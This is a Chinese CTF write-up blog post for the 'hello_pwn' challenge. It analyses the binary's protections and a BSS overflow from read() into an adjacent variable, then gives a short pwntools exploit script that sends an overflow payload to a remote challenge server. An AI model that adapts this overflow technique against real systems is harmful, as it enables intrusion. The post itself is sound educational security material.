攻防世界-PWN-hello_pwn

本文档介绍了如何分析一个x86-64架构的Linux可执行文件,通过checksec查看其保护机制,如 Partial RELRO、NX 和 PIE 等。在了解了程序的安全特性后,作者聚焦于main函数中一个关键的if判断,并发现可以通过输入溢出修改特定内存地址来触发条件。最终,给出了一个exploit Python脚本来远程连接服务器并发送构造的payload,以获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

开始进军PWN题

目录

 

分析

拖入IDA

exp


分析

使用 file 和 checksec(查看程序的保护机制) 指令分析文件

x86-64 架构 Linux可执行文件ELF

checksec参数

Arch 程序架构信息。这里是amd64-64的

RELRO 主要针对 GOT 改写的攻击方式的保护 RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。 这里也没作保护

Stack 栈保护 这里没有启用

NX 栈没有执行权限 这里是打开的

PIE 保护地址信息 这里关闭

 

拖入IDA

查看main函数

跟进sub_400686

所以main函数的if判断语句是重点,只要dword_60106C==1853186401 就可以拿到flag

这里还有一个read,也就是读取输入的点,将值保存在unk_601068

去看看它们在BSS段的地址,发现就在一起,而且unk_601068他的地址区域只有4个字节,而我们的read函数可以读取0x10,我们只要构造输入溢出到dword_60106C,将他的值用1853186401覆盖即可

 

exp

from pwn import *

p=remote('220.249.52.133',38133)

payload='a'*4+p64(1853186401)

p.recvuntil("lets get helloworld for bof")

p.sendline(payload)

print p.interactive()

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beglage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值